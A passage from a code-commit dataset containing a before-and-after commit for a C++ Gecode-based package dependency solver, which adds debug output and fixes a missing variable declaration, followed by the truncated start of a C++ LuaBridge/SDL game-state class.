namespace test\n} \/\/ namespace webrtc\n<|endoftext|>"} {"text":"<commit_before>#include <gecode\/driver.hh>\n#include <gecode\/int.hh>\n#include <gecode\/minimodel.hh>\n#include <gecode\/gist.hh>\n#include <gecode\/search.hh>\n\n#include \"dep_selector_to_gecode.h\"\n\n#include <limits>\n#include <iostream>\n#include <vector>\n\n#define DEBUG\n\nusing namespace Gecode;\nconst int VersionProblem::UNRESOLVED_VARIABLE = INT_MIN;\nconst int VersionProblem::MIN_TRUST_LEVEL = 0;\nconst int VersionProblem::MAX_TRUST_LEVEL = 10;\n\nVersionProblem::VersionProblem(int packageCount)\n : size(packageCount), finalized(false), cur_package(0), package_versions(*this, packageCount), \n disabled_package_variables(*this, packageCount, 0, 1), total_disabled(*this, 0, packageCount*MAX_TRUST_LEVEL),\n disabled_package_weights(new int[packageCount]), preferred_at_latest(*this, packageCount, 0, 1),\n total_preferred_at_latest(*this, 0, packageCount), preferred_at_latest_weights(new int[packageCount])\n{\n for (int i = 0; i < packageCount; i++)\n {\n disabled_package_weights[i] = MAX_TRUST_LEVEL;\n preferred_at_latest_weights[i] = 0;\n }\n}\n\nVersionProblem::VersionProblem(bool share, VersionProblem & s) \n : Space(share, s), size(s.size),\n finalized(s.finalized), cur_package(s.cur_package),\n disabled_package_variables(s.disabled_package_variables), total_disabled(s.total_disabled),\n disabled_package_weights(NULL), preferred_at_latest(s.preferred_at_latest),\n total_preferred_at_latest(s.total_preferred_at_latest), preferred_at_latest_weights(NULL)\n{\n package_versions.update(*this, share, s.package_versions);\n disabled_package_variables.update(*this, share, s.disabled_package_variables);\n total_disabled.update(*this, share, s.total_disabled);\n preferred_at_latest.update(*this, share, s.preferred_at_latest);\n total_preferred_at_latest.update(*this, share, s.total_preferred_at_latest);\n}\n\n\/\/ Support for gecode\nSpace* VersionProblem::copy(bool share)\n{\n return new VersionProblem(share,*this);\n}\n\nVersionProblem::~VersionProblem() \n{\n delete[] disabled_package_weights;\n delete[] preferred_at_latest_weights;\n}\n\nint VersionProblem::Size() \n{\n return size;\n}\n\nint VersionProblem::PackageCount() \n{\n return cur_package;\n}\n\nint\nVersionProblem::AddPackage(int minVersion, int maxVersion, int currentVersion) \n{\n if (cur_package == size) {\n return -1;\n }\n\n#ifdef DEBUG\n std::cout << \"Adding package id \" << cur_package << '\/' << size << \": min = \" << minVersion << \", max = \" << maxVersion << \", current verison \" << currentVersion << std::endl;\n std::cout.flush(); \n#endif \/\/ DEBUG\n int index = cur_package;\n cur_package++;\n \/\/ IntVar version(*this, minVersion, maxVersion);\n package_versions[index] = IntVar(*this, minVersion, maxVersion);\n\n \/\/ register the binding of package to version that corresponds to the package's latest\n rel(*this, package_versions[index], IRT_EQ, maxVersion, preferred_at_latest[index]);\n\n return index;\n}\n\nbool \nVersionProblem::AddVersionConstraint(int packageId, int version, \n\t\t\t\t int dependentPackageId, int minDependentVersion, int maxDependentVersion) \n{\n BoolVar version_match(*this, 0, 1);\n BoolVar depend_match(*this, 0, 1);\n BoolVar predicated_depend_match(*this, 0, 1);\n\n#ifdef DEBUG\n std::cout << \"Add VC for \" << packageId << \" @ \" << version << \" depPkg \" << dependentPackageId;\n std::cout << \" [ \" << minDependentVersion << \", \" << maxDependentVersion << \" ]\" << std::endl;\n std::cout.flush();\n#endif \/\/ DEBUG\n\n\n \/\/version_flags << version_match;\n \/\/ Constrain pred to reify package @ version\n rel(*this, package_versions[packageId], IRT_EQ, version, version_match);\n \/\/ Add the predicated version constraints imposed on dependent package\n\n \/\/ package_versions[dependendPackageId] in domain [minDependentVersion,maxDependentVersion] <=> depend_match\n dom(*this, package_versions[dependentPackageId], minDependentVersion, maxDependentVersion, depend_match);\n\n \/\/ disabled_package_variables[dependentPackageId] OR depend_match <=> predicated_depend_match\n \/\/ rel(*this, disabled_package_variables[dependentPackageId], BOT_OR, depend_match, version_match);\n\n rel(*this, disabled_package_variables[dependentPackageId], BOT_OR, depend_match, predicated_depend_match);\n rel(*this, version_match, BOT_IMP, predicated_depend_match, 1); \n}\n\nvoid\nVersionProblem::MarkPackageSuspicious(int packageId, int trustLevel) \n{\n disabled_package_weights[packageId] = std::max(MIN_TRUST_LEVEL, std::min(disabled_package_weights[packageId], trustLevel));\n}\n\nvoid\nVersionProblem::MarkPackagePreferredToBeAtLatest(int packageId, int weight)\n{\n preferred_at_latest_weights[packageId] = weight;\n}\n\nvoid VersionProblem::Finalize() \n{\n#ifdef DEBUG\n std::cout << \"Finalization Started\" << std::endl;\n std::cout.flush();\n#endif \/\/ DEBUG\n finalized = true;\n\n \/\/ Setup constraint for cost\n \/\/ linear(*this, disabled_package_weights, disabled_package_variables, IRT_EQ, total_disabled);\n IntArgs disabled_package_weights_args(size, disabled_package_weights);\n \/\/IntArgs package_weights = IntArgs::create(size, 1, 0);\n\n#ifdef DEBUG\n std::cout << \"disabled_package_weights_args: \" << disabled_package_weights_args << std::endl;\n#endif DEBUG\n linear(*this, disabled_package_weights_args, disabled_package_variables, IRT_EQ, total_disabled);\n \/\/ linear(*this, disabled_package_variables, IRT_EQ, total_disabled);\n\n IntArgs preferred_at_latest_weights_args(size, preferred_at_latest_weights);\n linear(*this, preferred_at_latest_weights_args, preferred_at_latest, IRT_EQ, total_preferred_at_latest);\n\n \/\/ Assign a dummy variable to elements greater than actually used.\n for (int i = cur_package; i < size; i++) {\n package_versions[i] = IntVar(*this, -1, -1);\n disabled_package_variables[i] = BoolVar(*this, 1, 1);\n }\n#ifdef DEBUG\n std::cout << \"preferred_at_latest_weights_args: \" << preferred_at_latest_weights_args << std::endl;\n std::cout << \"Adding branching\" << std::endl;\n std::cout.flush();\n#endif \/\/ DEBUG\n branch(*this, disabled_package_variables, INT_VAR_SIZE_MIN, INT_VAL_MIN);\n branch(*this, package_versions, INT_VAR_SIZE_MIN, INT_VAL_MAX);\n branch(*this, total_disabled, INT_VAL_MIN);\n branch(*this, preferred_at_latest, INT_VAR_SIZE_MIN, INT_VAL_MAX);\n branch(*this, total_preferred_at_latest, INT_VAL_MAX);\n#ifdef DEBUG\n std::cout << \"Finalization Done\" << std::endl;\n std::cout.flush();\n#endif \/\/ DEBUG\n}\n\n\/\/ _best_known_soln is the most recent satisfying assignment of\n\/\/ variables that Gecode has found. This method examines the solution\n\/\/ and adds additional constraints that are applied after restarting\n\/\/ the search, which means that the next time a solution that's found\n\/\/ must be strictly better than the current best known solution.\n\/\/\n\/\/ Our model requires us to have a series of objective functions where\n\/\/ each successive objective function is evaluated if and only if all\n\/\/ higher precedent objective functions are tied.\n\/\/\n\/\/ [TODO: DESCRIBE WHAT THE ACTUAL SERIES OF OBJECTIVE FUNCTIONS IS]\n\/\/\n\/\/ Lower precedent objective functions are modeled as the consequent\n\/\/ of an implication whose antecedent is the conjunction of all the\n\/\/ higher precedent objective functions being assigned to their best\n\/\/ known value; thus, the optimal value of an objection function\n\/\/ \"activates\" the next highest objective function. This has the\n\/\/ effect of isolating the logic of each objective function such that\n\/\/ it is only applied to the set of equally preferable solutions under\n\/\/ the higher precedent objective functions. The objective function\n\/\/ then applies its constraints, the solution space is restarted and\n\/\/ walks the space until it finds another, more constrained solution.\nvoid VersionProblem::constrain(const Space & _best_known_solution)\n{\n const VersionProblem& best_known_solution = static_cast<const VersionProblem &>(_best_known_solution);\n\n \/\/ add first-level objective function minimization (failing packages, weighted)\n \/\/ new constraint: total_disabled < best_known_total_disabled_value)\n int best_known_total_disabled_value = best_known_solution.total_disabled.val();\n rel(*this, total_disabled, IRT_LE, best_known_total_disabled_value);\n\n \/\/ add second-level objective function maximization (preferred packages are at latest, weighted)\n AddPackagesPreferredToBeAtLatestObjectiveFunction(best_known_solution);\n\n#ifdef DEBUG\n std::cout << \"best_known_total_disabled_value: \" << best_known_total_disabled_value << std::endl;\n#endif\n}\n\nvoid VersionProblem::AddPackagesPreferredToBeAtLatestObjectiveFunction(const VersionProblem & best_known_solution)\n{\n \/\/ Make sure we respect total_disabled first by only constraining on\n \/\/ latestness of preferred packages if the solution's total_disabled\n \/\/ is equivalent to the best known, which is what\n \/\/ is_at_best_known_disabled_value represents.\n\n \/\/ is_at_best_known_disabled_value <=> (total_disabled == best_known_total_disabled_value)\n BoolVar is_at_best_known_disabled_value(*this, 0, 1);\n rel(*this, total_disabled, IRT_EQ, best_known_solution.total_disabled.val(), is_at_best_known_disabled_value);\n\n \/\/ is_better_total_preferred_at_latest <=> (total_preferred_at_latest > best_known_total_preferred_at_latest_value)\n int best_known_total_preferred_at_latest_value = best_known_solution.total_preferred_at_latest.val();\n BoolVar is_better_total_preferred_at_latest(*this, 0, 1);\n rel(*this, total_preferred_at_latest, IRT_GR, best_known_total_preferred_at_latest_value, is_better_total_preferred_at_latest);\n\n \/\/ new constraint: is_at_best_known_disabled_value -> is_better_total_preferred_at_latest\n rel(*this, is_at_best_known_disabled_value, BOT_IMP, is_better_total_preferred_at_latest, 1);\n\n#ifdef DEBUG\n std::cout << \"best_known_total_preferred_at_latest_value: \" << best_known_total_preferred_at_latest_value << std::endl;\n#endif\n}\n\nIntVar & VersionProblem::GetPackageVersionVar(int packageId)\n{\n if (packageId < cur_package) {\n return package_versions[packageId];\n } else {\n#ifdef DEBUG\n std::cout << \"Bad package Id \" << packageId << \" >= \" << cur_package << std::endl;\n std::cout.flush();\n#endif \/\/DEBUG\n \/\/ return 0;\n }\n}\n\nint VersionProblem::GetPackageVersion(int packageId) \n{\n IntVar & var = GetPackageVersionVar(packageId);\n if (1 == var.size()) return var.val();\n return UNRESOLVED_VARIABLE;\n}\nbool VersionProblem::GetPackageDisabledState(int packageId) \n{\n return disabled_package_variables[packageId].val() == 1;\n}\n\nint VersionProblem::GetAFC(int packageId)\n{\n return GetPackageVersionVar(packageId).afc();\n} \n\nint VersionProblem::GetMax(int packageId)\n{\n return GetPackageVersionVar(packageId).max();\n}\nint VersionProblem::GetMin(int packageId)\n{\n return GetPackageVersionVar(packageId).min();\n}\n\nint VersionProblem::GetDisabledVariableCount()\n{\n if (total_disabled.min() == total_disabled.max()) {\n return total_disabled.min();\n } else {\n return UNRESOLVED_VARIABLE;\n }\n}\n \n\n\/\/ Utility\nvoid VersionProblem::Print(std::ostream & out) \n{\n out << \"Version problem dump: \" << cur_package << \"\/\" << size << \" packages used\/allocated\" << std::endl; \n out << \"Disabled Variables: \" << disabled_package_variables << std::endl;\n out << \"Total Disabled variables: \" << total_disabled << std::endl;\n out << \"preferred_at_latest: \" << preferred_at_latest << std::endl;\n out << \"total_preferred_at_latest: \" << total_preferred_at_latest << std::endl;\n\n for (int i = 0; i < cur_package; i++) {\n out << \"\\t\";\n PrintPackageVar(out, i);\n out << std::endl;\n }\n out.flush();\n}\n\n\/\/ TODO: Validate package ids !\n\nvoid VersionProblem::PrintPackageVar(std::ostream & out, int packageId) \n{\n \/\/ Hack Alert: we could have the package variable in one of two places, but we don't clearly distinguish where.\n IntVar & var = GetPackageVersionVar(packageId);\n out << \"PackageId: \" << packageId << \" Sltn: \" << var << \" afc: \" << var.afc();\n out << \" disabled: \" << disabled_package_variables[packageId];\n}\n\nbool VersionProblem::CheckPackageId(int id) \n{\n return (id < size);\n}\n\nVersionProblem * VersionProblem::Solve(VersionProblem * problem) \n{\n problem->Finalize();\n problem->status();\n#ifdef DEBUG\n std::cout << \"Before solve\" << std::endl;\n problem->Print(std::cout);\n#endif \/\/DEBUG\n\n Restart<VersionProblem> solver(problem);\n\n VersionProblem *best_solution = NULL;\n while (VersionProblem *solution = solver.next())\n {\n if (best_solution != NULL) \n\t{\n\t delete best_solution;\n\t}\n best_solution = solution;\n ++i;\n#ifdef DEBUG\n std::cout << \"Trial Solution #\" << i << \"===============================\" << std::endl;\n const Search::Statistics & stats = solver.statistics();\n std::cout << \"Solver stats: Prop:\" << stats.propagate << \" Fail:\" << stats.fail << \" Node:\" << stats.node;\n std::cout << \" Depth:\" << stats.depth << \" memory:\" << stats.memory << std::endl;\n \/\/ std::cout << stats << std::endl;\n solution->Print(std::cout);\n#endif \/\/DEBUG\n }\n return best_solution;\n}\n\n\n\/\/\n\/\/ \n\/\/\n\n\n\n\/\/\n\/\/ Version Problem\n\/\/\n\/\/\n\/\/ \n\/\/\n<commit_msg>More descriptive output, and fix missing variable decl<commit_after>#include <gecode\/driver.hh>\n#include <gecode\/int.hh>\n#include <gecode\/minimodel.hh>\n#include <gecode\/gist.hh>\n#include <gecode\/search.hh>\n\n#include \"dep_selector_to_gecode.h\"\n\n#include <limits>\n#include <iostream>\n#include <vector>\n\n#define DEBUG\n\nusing namespace Gecode;\nconst int VersionProblem::UNRESOLVED_VARIABLE = INT_MIN;\nconst int VersionProblem::MIN_TRUST_LEVEL = 0;\nconst int VersionProblem::MAX_TRUST_LEVEL = 10;\n\nVersionProblem::VersionProblem(int packageCount)\n : size(packageCount), finalized(false), cur_package(0), package_versions(*this, packageCount), \n disabled_package_variables(*this, packageCount, 0, 1), total_disabled(*this, 0, packageCount*MAX_TRUST_LEVEL),\n disabled_package_weights(new int[packageCount]), preferred_at_latest(*this, packageCount, 0, 1),\n total_preferred_at_latest(*this, 0, packageCount), preferred_at_latest_weights(new int[packageCount])\n{\n for (int i = 0; i < packageCount; i++)\n {\n disabled_package_weights[i] = MAX_TRUST_LEVEL;\n preferred_at_latest_weights[i] = 0;\n }\n}\n\nVersionProblem::VersionProblem(bool share, VersionProblem & s) \n : Space(share, s), size(s.size),\n finalized(s.finalized), cur_package(s.cur_package),\n disabled_package_variables(s.disabled_package_variables), total_disabled(s.total_disabled),\n disabled_package_weights(NULL), preferred_at_latest(s.preferred_at_latest),\n total_preferred_at_latest(s.total_preferred_at_latest), preferred_at_latest_weights(NULL)\n{\n package_versions.update(*this, share, s.package_versions);\n disabled_package_variables.update(*this, share, s.disabled_package_variables);\n total_disabled.update(*this, share, s.total_disabled);\n preferred_at_latest.update(*this, share, s.preferred_at_latest);\n total_preferred_at_latest.update(*this, share, s.total_preferred_at_latest);\n}\n\n\/\/ Support for gecode\nSpace* VersionProblem::copy(bool share)\n{\n return new VersionProblem(share,*this);\n}\n\nVersionProblem::~VersionProblem() \n{\n delete[] disabled_package_weights;\n delete[] preferred_at_latest_weights;\n}\n\nint VersionProblem::Size() \n{\n return size;\n}\n\nint VersionProblem::PackageCount() \n{\n return cur_package;\n}\n\nint\nVersionProblem::AddPackage(int minVersion, int maxVersion, int currentVersion) \n{\n if (cur_package == size) {\n return -1;\n }\n\n#ifdef DEBUG\n std::cout << \"Adding package id \" << cur_package << '\/' << size << \": min = \" << minVersion << \", max = \" << maxVersion << \", current verison \" << currentVersion << std::endl;\n std::cout.flush(); \n#endif \/\/ DEBUG\n int index = cur_package;\n cur_package++;\n \/\/ IntVar version(*this, minVersion, maxVersion);\n package_versions[index] = IntVar(*this, minVersion, maxVersion);\n\n \/\/ register the binding of package to version that corresponds to the package's latest\n rel(*this, package_versions[index], IRT_EQ, maxVersion, preferred_at_latest[index]);\n\n return index;\n}\n\nbool \nVersionProblem::AddVersionConstraint(int packageId, int version, \n\t\t\t\t int dependentPackageId, int minDependentVersion, int maxDependentVersion) \n{\n BoolVar version_match(*this, 0, 1);\n BoolVar depend_match(*this, 0, 1);\n BoolVar predicated_depend_match(*this, 0, 1);\n\n#ifdef DEBUG\n std::cout << \"Add VC for \" << packageId << \" @ \" << version << \" depPkg \" << dependentPackageId;\n std::cout << \" [ \" << minDependentVersion << \", \" << maxDependentVersion << \" ]\" << std::endl;\n std::cout.flush();\n#endif \/\/ DEBUG\n\n\n \/\/version_flags << version_match;\n \/\/ Constrain pred to reify package @ version\n rel(*this, package_versions[packageId], IRT_EQ, version, version_match);\n \/\/ Add the predicated version constraints imposed on dependent package\n\n \/\/ package_versions[dependendPackageId] in domain [minDependentVersion,maxDependentVersion] <=> depend_match\n dom(*this, package_versions[dependentPackageId], minDependentVersion, maxDependentVersion, depend_match);\n\n \/\/ disabled_package_variables[dependentPackageId] OR depend_match <=> predicated_depend_match\n \/\/ rel(*this, disabled_package_variables[dependentPackageId], BOT_OR, depend_match, version_match);\n\n rel(*this, disabled_package_variables[dependentPackageId], BOT_OR, depend_match, predicated_depend_match);\n rel(*this, version_match, BOT_IMP, predicated_depend_match, 1); \n}\n\nvoid\nVersionProblem::MarkPackageSuspicious(int packageId, int trustLevel) \n{\n disabled_package_weights[packageId] = std::max(MIN_TRUST_LEVEL, std::min(disabled_package_weights[packageId], trustLevel));\n}\n\nvoid\nVersionProblem::MarkPackagePreferredToBeAtLatest(int packageId, int weight)\n{\n preferred_at_latest_weights[packageId] = weight;\n}\n\nvoid VersionProblem::Finalize() \n{\n#ifdef DEBUG\n std::cout << \"Finalization Started\" << std::endl;\n std::cout.flush();\n#endif \/\/ DEBUG\n finalized = true;\n\n \/\/ Setup constraint for cost\n \/\/ linear(*this, disabled_package_weights, disabled_package_variables, IRT_EQ, total_disabled);\n IntArgs disabled_package_weights_args(size, disabled_package_weights);\n \/\/IntArgs package_weights = IntArgs::create(size, 1, 0);\n\n#ifdef DEBUG\n std::cout << \"disabled_package_weights_args: \" << disabled_package_weights_args << std::endl;\n#endif DEBUG\n linear(*this, disabled_package_weights_args, disabled_package_variables, IRT_EQ, total_disabled);\n \/\/ linear(*this, disabled_package_variables, IRT_EQ, total_disabled);\n\n IntArgs preferred_at_latest_weights_args(size, preferred_at_latest_weights);\n linear(*this, preferred_at_latest_weights_args, preferred_at_latest, IRT_EQ, total_preferred_at_latest);\n\n \/\/ Assign a dummy variable to elements greater than actually used.\n for (int i = cur_package; i < size; i++) {\n package_versions[i] = IntVar(*this, -1, -1);\n disabled_package_variables[i] = BoolVar(*this, 1, 1);\n }\n#ifdef DEBUG\n std::cout << \"preferred_at_latest_weights_args: \" << preferred_at_latest_weights_args << std::endl;\n std::cout << \"Adding branching\" << std::endl;\n std::cout.flush();\n#endif \/\/ DEBUG\n branch(*this, disabled_package_variables, INT_VAR_SIZE_MIN, INT_VAL_MIN);\n branch(*this, package_versions, INT_VAR_SIZE_MIN, INT_VAL_MAX);\n branch(*this, total_disabled, INT_VAL_MIN);\n branch(*this, preferred_at_latest, INT_VAR_SIZE_MIN, INT_VAL_MAX);\n branch(*this, total_preferred_at_latest, INT_VAL_MAX);\n#ifdef DEBUG\n std::cout << \"Finalization Done\" << std::endl;\n std::cout.flush();\n#endif \/\/ DEBUG\n}\n\n\/\/ _best_known_soln is the most recent satisfying assignment of\n\/\/ variables that Gecode has found. This method examines the solution\n\/\/ and adds additional constraints that are applied after restarting\n\/\/ the search, which means that the next time a solution that's found\n\/\/ must be strictly better than the current best known solution.\n\/\/\n\/\/ Our model requires us to have a series of objective functions where\n\/\/ each successive objective function is evaluated if and only if all\n\/\/ higher precedent objective functions are tied.\n\/\/\n\/\/ [TODO: DESCRIBE WHAT THE ACTUAL SERIES OF OBJECTIVE FUNCTIONS IS]\n\/\/\n\/\/ Lower precedent objective functions are modeled as the consequent\n\/\/ of an implication whose antecedent is the conjunction of all the\n\/\/ higher precedent objective functions being assigned to their best\n\/\/ known value; thus, the optimal value of an objection function\n\/\/ \"activates\" the next highest objective function. This has the\n\/\/ effect of isolating the logic of each objective function such that\n\/\/ it is only applied to the set of equally preferable solutions under\n\/\/ the higher precedent objective functions. The objective function\n\/\/ then applies its constraints, the solution space is restarted and\n\/\/ walks the space until it finds another, more constrained solution.\nvoid VersionProblem::constrain(const Space & _best_known_solution)\n{\n const VersionProblem& best_known_solution = static_cast<const VersionProblem &>(_best_known_solution);\n\n \/\/ add first-level objective function minimization (failing packages, weighted)\n \/\/ new constraint: total_disabled < best_known_total_disabled_value)\n int best_known_total_disabled_value = best_known_solution.total_disabled.val();\n rel(*this, total_disabled, IRT_LE, best_known_total_disabled_value);\n#ifdef DEBUG\n std::cout << \"Constrain: best_known_total_disabled_value: \" << best_known_total_disabled_value << std::endl;\n#endif\n\n \/\/ add second-level objective function maximization (preferred packages are at latest, weighted)\n AddPackagesPreferredToBeAtLatestObjectiveFunction(best_known_solution);\n}\n\nvoid VersionProblem::AddPackagesPreferredToBeAtLatestObjectiveFunction(const VersionProblem & best_known_solution)\n{\n \/\/ Make sure we respect total_disabled first by only constraining on\n \/\/ latestness of preferred packages if the solution's total_disabled\n \/\/ is equivalent to the best known, which is what\n \/\/ is_at_best_known_disabled_value represents.\n\n \/\/ is_at_best_known_disabled_value <=> (total_disabled == best_known_total_disabled_value)\n BoolVar is_at_best_known_disabled_value(*this, 0, 1);\n rel(*this, total_disabled, IRT_EQ, best_known_solution.total_disabled.val(), is_at_best_known_disabled_value);\n\n \/\/ is_better_total_preferred_at_latest <=> (total_preferred_at_latest > best_known_total_preferred_at_latest_value)\n int best_known_total_preferred_at_latest_value = best_known_solution.total_preferred_at_latest.val();\n BoolVar is_better_total_preferred_at_latest(*this, 0, 1);\n rel(*this, total_preferred_at_latest, IRT_GR, best_known_total_preferred_at_latest_value, is_better_total_preferred_at_latest);\n\n \/\/ new constraint: is_at_best_known_disabled_value -> is_better_total_preferred_at_latest\n rel(*this, is_at_best_known_disabled_value, BOT_IMP, is_better_total_preferred_at_latest, 1);\n\n#ifdef DEBUG\n std::cout << \"Constrain: best_known_total_preferred_at_latest_value: \" << best_known_total_preferred_at_latest_value << std::endl;\n#endif\n}\n\nIntVar & VersionProblem::GetPackageVersionVar(int packageId)\n{\n if (packageId < cur_package) {\n return package_versions[packageId];\n } else {\n#ifdef DEBUG\n std::cout << \"Bad package Id \" << packageId << \" >= \" << cur_package << std::endl;\n std::cout.flush();\n#endif \/\/DEBUG\n \/\/ return 0;\n }\n}\n\nint VersionProblem::GetPackageVersion(int packageId) \n{\n IntVar & var = GetPackageVersionVar(packageId);\n if (1 == var.size()) return var.val();\n return UNRESOLVED_VARIABLE;\n}\nbool VersionProblem::GetPackageDisabledState(int packageId) \n{\n return disabled_package_variables[packageId].val() == 1;\n}\n\nint VersionProblem::GetAFC(int packageId)\n{\n return GetPackageVersionVar(packageId).afc();\n} \n\nint VersionProblem::GetMax(int packageId)\n{\n return GetPackageVersionVar(packageId).max();\n}\nint VersionProblem::GetMin(int packageId)\n{\n return GetPackageVersionVar(packageId).min();\n}\n\nint VersionProblem::GetDisabledVariableCount()\n{\n if (total_disabled.min() == total_disabled.max()) {\n return total_disabled.min();\n } else {\n return UNRESOLVED_VARIABLE;\n }\n}\n \n\n\/\/ Utility\nvoid VersionProblem::Print(std::ostream & out) \n{\n out << \"Version problem dump: \" << cur_package << \"\/\" << size << \" packages used\/allocated\" << std::endl; \n out << \"Disabled Variables: \" << disabled_package_variables << std::endl;\n out << \"Total Disabled variables: \" << total_disabled << std::endl;\n out << \"preferred_at_latest: \" << preferred_at_latest << std::endl;\n out << \"total_preferred_at_latest: \" << total_preferred_at_latest << std::endl;\n\n for (int i = 0; i < cur_package; i++) {\n out << \"\\t\";\n PrintPackageVar(out, i);\n out << std::endl;\n }\n out.flush();\n}\n\n\/\/ TODO: Validate package ids !\n\nvoid VersionProblem::PrintPackageVar(std::ostream & out, int packageId) \n{\n \/\/ Hack Alert: we could have the package variable in one of two places, but we don't clearly distinguish where.\n IntVar & var = GetPackageVersionVar(packageId);\n out << \"PackageId: \" << packageId << \" Sltn: \" << var << \" afc: \" << var.afc();\n out << \" disabled: \" << disabled_package_variables[packageId];\n}\n\nbool VersionProblem::CheckPackageId(int id) \n{\n return (id < size);\n}\n\nVersionProblem * VersionProblem::Solve(VersionProblem * problem) \n{\n problem->Finalize();\n problem->status();\n#ifdef DEBUG\n std::cout << \"Before solve\" << std::endl;\n problem->Print(std::cout);\n#endif \/\/DEBUG\n\n Restart<VersionProblem> solver(problem);\n int i = 0;\n VersionProblem *best_solution = NULL;\n while (VersionProblem *solution = solver.next())\n {\n if (best_solution != NULL) \n\t{\n\t delete best_solution;\n\t}\n best_solution = solution;\n ++i;\n#ifdef DEBUG\n std::cout << \"Trial Solution #\" << i << \"===============================\" << std::endl;\n const Search::Statistics & stats = solver.statistics();\n std::cout << \"Solver stats: Prop:\" << stats.propagate << \" Fail:\" << stats.fail << \" Node:\" << stats.node;\n std::cout << \" Depth:\" << stats.depth << \" memory:\" << stats.memory << std::endl;\n \/\/ std::cout << stats << std::endl;\n solution->Print(std::cout);\n#endif \/\/DEBUG\n }\n return best_solution;\n}\n\n\n\/\/\n\/\/ \n\/\/\n\n\n\n\/\/\n\/\/ Version Problem\n\/\/\n\/\/\n\/\/ \n\/\/\n<|endoftext|>"} {"text":"<commit_before>#include <SDL.h>\n#include <iostream>\n#include <math.h>\n#include <vector>\n#include <map>\n#include <functional>\n#include <algorithm>\n#include <lua.hpp>\n#include <LuaBridge.h>\n#include \"types.h\"\n#include \"wrappers.h\"\n#include \"auxiliary.h\"\n#include \"entity.h\"\n#include \"commands.h\"\n#include \"player.h\"\n\nusing namespace te;\n\nnamespace te\n{\n class LuaGameState\n {\n public:\n LuaGameState(const std::string& filename = \"init.lua\")\n : mpL(luaL_newstate(), [](lua_State* L){ lua_close(L); })\n , mHandleCount(0)\n , mEntities()\n , mPositionMap()\n , mVelocityMap()\n , mBoundingBoxMap()\n , mDimensionMap()\n , mKeyPressTable(luabridge::newTable(mpL.get()))\n , mKeyReleaseTable(luabridge::newTable(mpL.get()))\n , mCollisionHandlerMap()\n {\n lua_State* pL = mpL.get();\n luaL_openlibs(pL);\n\n luabridge::getGlobalNamespace(pL)\n .beginClass<LuaGameState>(\"GameState\")\n .addFunction(\"createEntity\", &LuaGameState::createEntity)\n .addFunction(\"setPosition\", &LuaGameState::setPosition)\n .addFunction(\"getPosition\", &LuaGameState::getPosition)\n .addFunction(\"setVelocity\", &LuaGameState::setVelocity)\n .addFunction(\"getVelocity\", &LuaGameState::getVelocity)\n .addFunction(\"setBoundingBox\", &LuaGameState::setBoundingBox)\n .addFunction(\"getBoundingBox\", &LuaGameState::getBoundingBox)\n .addFunction(\"getIntersection\", &LuaGameState::getIntersection)\n .addFunction(\"setSprite\", &LuaGameState::setSprite)\n .addFunction(\"handleCollision\", &LuaGameState::handleCollision)\n .addFunction(\"destroyEntity\", &LuaGameState::destroyEntity)\n .addFunction(\"registerKeyPressTable\", &LuaGameState::registerKeyPressTable)\n .addFunction(\"registerKeyReleaseTable\", &LuaGameState::registerKeyReleaseTable)\n .endClass()\n .beginClass<Vector2f>(\"Vector2\")\n .addConstructor<void(*)(void)>()\n .addConstructor<void(*)(float, float)>()\n .addData(\"x\", &te::Vector2f::x)\n .addData(\"y\", &te::Vector2f::y)\n .endClass()\n .addFunction<te::Vector2f(*)(te::Vector2f, te::Vector2f)>(\"addV\", &te::operator+)\n .addFunction<te::Vector2f(*)(te::Vector2f, te::Vector2f)>(\"subtractV\", &te::operator-)\n .addFunction<te::Vector2f(*)(float, te::Vector2f)>(\"multiplyV\", &te::operator*)\n .addFunction<te::Vector2f(*)(te::Vector2f, float)>(\"divideV\", &te::operator\/)\n .addFunction<float(*)(te::Vector2f)>(\"lengthV\", &te::length)\n .addFunction<te::Vector2f(*)(te::Vector2f)>(\"normalizeV\", &te::normalize)\n .beginClass<SDL_Rect>(\"Rect\")\n .addData(\"h\", &SDL_Rect::h)\n .addData(\"w\", &SDL_Rect::w)\n .addData(\"x\", &SDL_Rect::x)\n .addData(\"y\", &SDL_Rect::y)\n .endClass();\n luabridge::push(pL, this);\n lua_setglobal(pL, \"game\");\n\n luaL_dofile(pL, filename.c_str());\n luabridge::getGlobal(pL, \"main\")();\n }\n\n typedef unsigned int EntityHandle;\n typedef std::pair<EntityHandle, EntityHandle> EntityPair;\n\n EntityHandle createEntity(const Vector2f& position, const Vector2f& velocity)\n {\n EntityHandle handle = mHandleCount++;\n mEntities.push_back(handle);\n mPositionMap.insert(std::make_pair(handle, position));\n mVelocityMap.insert(std::make_pair(handle, velocity));\n mBoundingBoxMap.insert(std::make_pair(handle, Vector2i(0, 0)));\n return handle;\n }\n\n void setPosition(EntityHandle handle, const Vector2f& position)\n {\n if (!exists(handle)) return;\n\n mPositionMap[handle] = position;\n }\n\n Vector2f getPosition(EntityHandle handle)\n {\n if (!exists(handle)) return Vector2f(0.f, 0.f);\n\n return mPositionMap[handle];\n }\n\n void setVelocity(EntityHandle handle, const Vector2f& velocity)\n {\n if (!exists(handle)) return;\n\n mVelocityMap[handle] = velocity;\n }\n\n Vector2f getVelocity(EntityHandle handle)\n {\n if (!exists(handle)) return Vector2f(0.f, 0.f);\n\n return mVelocityMap[handle];\n }\n\n void setBoundingBox(EntityHandle handle, const Vector2f& dimensions)\n {\n if (!exists(handle)) return;\n\n mBoundingBoxMap[handle] = convertVector2<int>(dimensions);\n }\n\n void setSprite(EntityHandle handle, const Vector2f& dimensions)\n {\n if (!exists(handle)) return;\n\n insertOrAssign(mDimensionMap, std::make_pair(\n handle, convertVector2<int>(dimensions)));\n }\n\n void handleCollision(EntityHandle e1, EntityHandle e2, luabridge::LuaRef handler)\n {\n if (!exists(e1) || !exists(e2)) return;\n\n auto key = std::make_pair(e1, e2);\n auto it = mCollisionHandlerMap.find(key);\n if (it == mCollisionHandlerMap.end())\n {\n mCollisionHandlerMap.insert(std::make_pair(\n key,\n handler));\n }\n else\n {\n it->second = handler;\n }\n }\n\n void registerKeyPressTable(luabridge::LuaRef table)\n {\n mKeyPressTable = table;\n }\n\n void registerKeyReleaseTable(luabridge::LuaRef table)\n {\n mKeyReleaseTable = table;\n }\n\n bool exists(EntityHandle handle)\n {\n auto it = std::find(std::begin(mEntities), std::end(mEntities), handle);\n return it != std::end(mEntities);\n }\n\n void destroyEntity(EntityHandle handle)\n {\n mEntities.erase(\n std::remove(mEntities.begin(), mEntities.end(), handle),\n mEntities.end());\n auto positionIt = mPositionMap.find(handle);\n if (positionIt != mPositionMap.end())\n {\n mPositionMap.erase(positionIt);\n }\n auto velocityIt = 